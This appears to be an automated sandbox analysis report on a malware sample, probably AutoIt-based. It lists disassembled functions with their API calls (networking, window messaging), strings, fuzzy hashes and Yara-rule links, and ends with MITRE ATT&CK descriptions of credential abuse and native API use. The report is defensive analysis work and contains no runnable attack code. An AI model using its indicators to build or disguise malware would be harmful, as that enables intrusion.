Opcode Fuzzy Hash: ebd257ed64a84c0f0870686b00207c1d083ebcb9b2729c2a17da5918f0ab7bbb
Instruction Fuzzy Hash: 7D5165724187449BD320BF60DC86BABBBF8FF84314F56884CF1DA81095DB798429DB26

Function 00FE99BE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00F8506B: __fread_nolock.LIBCMT ref: 00F85089

_wcscmp.LIBCMT ref: 00FE9AAE
_wcscmp.LIBCMT ref: 00FE9AC1

Strings

FILE, xrefs: 00FE99FA

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 07ff3a0994246fd1dc56e248f9540b891d661b9d0e53e4e7fbf8747b885d4c94
Instruction ID: f5cfeb146572fe07bd1a6f47f16a9ebf0a3ed542622a42cadbf192cf7d459e6f
Opcode Fuzzy Hash: 07ff3a0994246fd1dc56e248f9540b891d661b9d0e53e4e7fbf8747b885d4c94
Instruction Fuzzy Hash: 2141D871A0464ABBDF20AAA5DC45FEFBBFDDF45B14F000069B900E7181D6B9AA0497B1

Function 00FF2882 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FF2892
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00FF28C8

Strings

|, xrefs: 00FF2899

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 07a6ab945894c8e976b9d37007ec4c43d8cdbb318eff94e1ef1dcd58b8b48b90
Instruction ID: ad08420f349a5cba2ac9a7aa59432406795bebae63e4bfd26bc68f0e1b9be020
Opcode Fuzzy Hash: 07a6ab945894c8e976b9d37007ec4c43d8cdbb318eff94e1ef1dcd58b8b48b90
Instruction Fuzzy Hash: 4C315D71801219AFCF11EFA0CC85EEEBFB9FF08350F104029F914A6165DB359A56EB60

Function 01006CD2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 01006D86
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 01006DC2

Strings

static, xrefs: 01006D22

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: e991db85c2120cb715d3a56134a30f4c2452efc08de67c73540aeb8718eb3c1a
Instruction ID: 8f3ff5fb939b1c1ab67d5cd3a5d7e6b0496b07c2bd8a071084e9189c39f1026e
Opcode Fuzzy Hash: e991db85c2120cb715d3a56134a30f4c2452efc08de67c73540aeb8718eb3c1a
Instruction Fuzzy Hash: E031A471500204AEEB12AF78CC80FFB77B9FF48724F10851AF995D7190DA36A891D760

Function 00FE2D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FE2E00
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00FE2E3B

Strings

0, xrefs: 00FE2DF9

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 232ca3461dba9b393b12556d637dccc22768684ee206e9a8c849b21cfc587a65
Instruction ID: 280c27e6d9668a58c5c5740a401420b6019ceb7135c838c5f5858fab1f000bee
Opcode Fuzzy Hash: 232ca3461dba9b393b12556d637dccc22768684ee206e9a8c849b21cfc587a65
Instruction Fuzzy Hash: 5631F571A00355ABEB748F4ADC85BAEBBBDFF05360F144069E985961A0FB709940EB10

Function 01006943 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 010069D0
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 010069DB

Strings

Combobox, xrefs: 0100699D

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: ac4461e94a5eeeadc349588e8c54c9c97e8ecdb35b61724e7806bf1d62473f68
Instruction ID: badfbb07f7bcde33d3e3062addc3b6a31e7f0172737a5511b2b5d9fefe827cdb
Opcode Fuzzy Hash: ac4461e94a5eeeadc349588e8c54c9c97e8ecdb35b61724e7806bf1d62473f68
Instruction Fuzzy Hash: A61193716002096FFF639E18CC80EEB37AFEB893A4F110125F998972D1D6769C6197A0

Function 01006E76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00F81D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00F81D73
Part of subcall function 00F81D35: GetStockObject.GDI32(00000011), ref: 00F81D87
Part of subcall function 00F81D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00F81D91

GetWindowRect.USER32(00000000,?), ref: 01006EE0
GetSysColor.USER32(00000012), ref: 01006EFA

Strings

static, xrefs: 01006EBD

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: dc8933491efb70d77cfbae35d7ccfe07560c47c1a30430224139521daf509294
Instruction ID: 25d258f419ee7d9bc7b0abb6bb92e7ce7d5ca46278c2d03a115338b80c69f76d
Opcode Fuzzy Hash: dc8933491efb70d77cfbae35d7ccfe07560c47c1a30430224139521daf509294
Instruction Fuzzy Hash: 7E212C7251020AAFEB15DFA8CD45AFA7BF9FB09314F004619F995D3180E635E861DB50

Function 01006B8F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 01006C11
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 01006C20

Strings

edit, xrefs: 01006BF5

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 98c521ccc79fc5d4cfca6d9ba1a54eedeefabd833ce444c2c622e8f76b5bfc4a
Instruction ID: 85bf99682e3136043bb59c93158e8c070bf7675c4dbcb0dc4ee6daa6681d6b66
Opcode Fuzzy Hash: 98c521ccc79fc5d4cfca6d9ba1a54eedeefabd833ce444c2c622e8f76b5bfc4a
Instruction Fuzzy Hash: AA11BFB1500208ABFB629E68DC41EFB37AAEB05378F104714F9A1971D0C777DCA19B60

Function 00FE2E9E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FE2F11
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00FE2F30

Strings

0, xrefs: 00FE2F07

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: c1691accf92c51486e3c7853f762f46611017c23585d9395901ce56d899b3c41
Instruction ID: 92048f09aedf666ec3d39f09fbf9022792ade98883caa01359fff48e10f3bd39
Opcode Fuzzy Hash: c1691accf92c51486e3c7853f762f46611017c23585d9395901ce56d899b3c41
Instruction Fuzzy Hash: E811E672E012A4ABDB64DA59DC44BAD77BDEB02324F0400A5E844A72A0F7B1AD04E791

Function 00FF24CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00FF2520
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00FF2549

Strings

<local>, xrefs: 00FF2511

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 2b7694f9183171575817cb4d27db667a7e015fc1a9b606a69c93a47d2983398d
Instruction ID: 0edcc93d81a9a1d2fc8d1553daab3a89b7883b87f641f2fb032f25846c58dcf7
Opcode Fuzzy Hash: 2b7694f9183171575817cb4d27db667a7e015fc1a9b606a69c93a47d2983398d
Instruction Fuzzy Hash: 1E1106B150122ABADB24CF518C99FBBFF6CFF05761F14812AF64587014D2705941E6F0

Function 00FF80A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF830B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00FF80C8,?,00000000,?,?), ref: 00FF8322

inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00FF80CB
htons.WSOCK32(00000000,?,00000000), ref: 00FF8108

Strings

255.255.255.255, xrefs: 00FF80E3

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: 30bcd9dbd5b4e4a49d9c970ecf3b29b2789894b03194bafb1c2bd8fc765736e4
Instruction ID: 2cc8b8be56accc46a8ccb745dbe56029222de0a82f6656681f0fc3008696c9c7
Opcode Fuzzy Hash: 30bcd9dbd5b4e4a49d9c970ecf3b29b2789894b03194bafb1c2bd8fc765736e4
Instruction Fuzzy Hash: 9011E135600209ABDB20AF64CC86FFDB768FF04760F108617EA11972A1DB76A802E795

Function 00FD92E7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F87F41: _memmove.LIBCMT ref: 00F87F82

Part of subcall function 00FDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00FDB0E7

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00FD9355

Strings

ComboBox, xrefs: 00FD92F4
ListBox, xrefs: 00FD931F

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 7611531da9dcea6e16bb3409bf5314c825cb3db7e035cdfef90a4a947d01d30b
Instruction ID: 59ff8ca46a74baaccaa8e07d07735ccb687356b9d0f5bd121b4f7c9c67d116a6
Opcode Fuzzy Hash: 7611531da9dcea6e16bb3409bf5314c825cb3db7e035cdfef90a4a947d01d30b
Instruction Fuzzy Hash: 5101F171A05214ABCB08FFA1CC959FE73AEBF06720B18060AF972573C1DB799808A750

Function 00FD91DF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F87F41: _memmove.LIBCMT ref: 00F87F82

Part of subcall function 00FDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00FDB0E7

SendMessageW.USER32(?,00000180,00000000,?), ref: 00FD924D

Strings

ComboBox, xrefs: 00FD91EC
ListBox, xrefs: 00FD9217

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: f068b15055c735019943d79358e1a8df500ab31251ec52ed420b47240082e9d4
Instruction ID: e42b1cece10b56dbc7a65b454f4ea7c7110f93e541d643595dafc8d3fee8d377
Opcode Fuzzy Hash: f068b15055c735019943d79358e1a8df500ab31251ec52ed420b47240082e9d4
Instruction Fuzzy Hash: D001D871A4520477CB14FBE1CC96EFF73AD9F45700F18001A751267281DA599F08A3A1

Function 00FD9264 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F87F41: _memmove.LIBCMT ref: 00F87F82

Part of subcall function 00FDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00FDB0E7

SendMessageW.USER32(?,00000182,?,00000000), ref: 00FD92D0

Strings

ComboBox, xrefs: 00FD9271
ListBox, xrefs: 00FD929C

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 8e262291976091e3917d9b682c8e84d71931c454f7c5693c627dcb0bbab030ce
Instruction ID: 583cc4e3f0d3d8c8025943486a80a6ce25d3ae2c19679341b116d73377ef7be7
Opcode Fuzzy Hash: 8e262291976091e3917d9b682c8e84d71931c454f7c5693c627dcb0bbab030ce
Instruction Fuzzy Hash: 0C01F771A4520477CB04FAE1CC86EFF73AD9F00701F280116790263281DB699E08A3B1

Function 00FE51CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00FE51E8
_wcscmp.LIBCMT ref: 00FE51FA

Strings

#32770, xrefs: 00FE51F4

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 4ca9c6ee480b3b341965141350161efc9435c9699211bdc991831af63e1d8485
Instruction ID: eb5b78b2d771c7887ad87d7379903f50a54bc6a7ed7ca1d1642205c438320033
Opcode Fuzzy Hash: 4ca9c6ee480b3b341965141350161efc9435c9699211bdc991831af63e1d8485
Instruction Fuzzy Hash: 37E06173E0022D17D3309A9A9C45F97F7ACEB41731F00005BFD54D7000D664A94487D1

Function 00FD81BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00FD81CA

Part of subcall function 00FA3598: _doexit.LIBCMT ref: 00FA35A2

Strings

AutoIt, xrefs: 00FD81BE
Error allocating memory., xrefs: 00FD81C3

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 0156d5d5715c73f59905179d78cc0e9dca82c89137586c567ee3db3f37d34304
Instruction ID: 43946fa0bc13d588a4bd69868199731516b70cac49c93425d2f203a86b77ff45
Opcode Fuzzy Hash: 0156d5d5715c73f59905179d78cc0e9dca82c89137586c567ee3db3f37d34304
Instruction Fuzzy Hash: F8D05B3638531936D22532F97C07FC6794C4B05B55F044016BB48995C38EDA95D163D9

Function 00FBB511 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00FBB564: _memset.LIBCMT ref: 00FBB571

Part of subcall function 00FA0B84: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00FBB540,?,?,?,00F8100A), ref: 00FA0B89

IsDebuggerPresent.KERNEL32(?,?,?,00F8100A), ref: 00FBB544
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00F8100A), ref: 00FBB553

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00FBB54E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: 0a13a28aba6e8dcf01d8328c2c2aad43c96015a129e3ff825145ae9850fe6628
Instruction ID: 44b9c7e9017f01986ccc19572f5c0f1d5b0851fdde3edcd67767f71b5a66a254
Opcode Fuzzy Hash: 0a13a28aba6e8dcf01d8328c2c2aad43c96015a129e3ff825145ae9850fe6628
Instruction Fuzzy Hash: D2E092B46007118FD731DF69E9047827BE4AF00754F04892CE4C6C7245EBB9E408EF62

Function 01005BEB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 01005BF5
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 01005C08

Part of subcall function 00FE54E6: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00FE555E

Strings

Shell_TrayWnd, xrefs: 01005BEE

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 0f1401ec9c6d0a8e241254b44a3fba8810bd1b793526ba850ae2b09069cb3082
Instruction ID: 0860280fe16c5efc663259d430d17270eaa1893fb1745d565cda6014bc6b91ec
Opcode Fuzzy Hash: 0f1401ec9c6d0a8e241254b44a3fba8810bd1b793526ba850ae2b09069cb3082
Instruction Fuzzy Hash: D8D0C931388312B7E779AB71AC1BF977A18AB54B51F000829B785AA1C4D9E95800D750

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

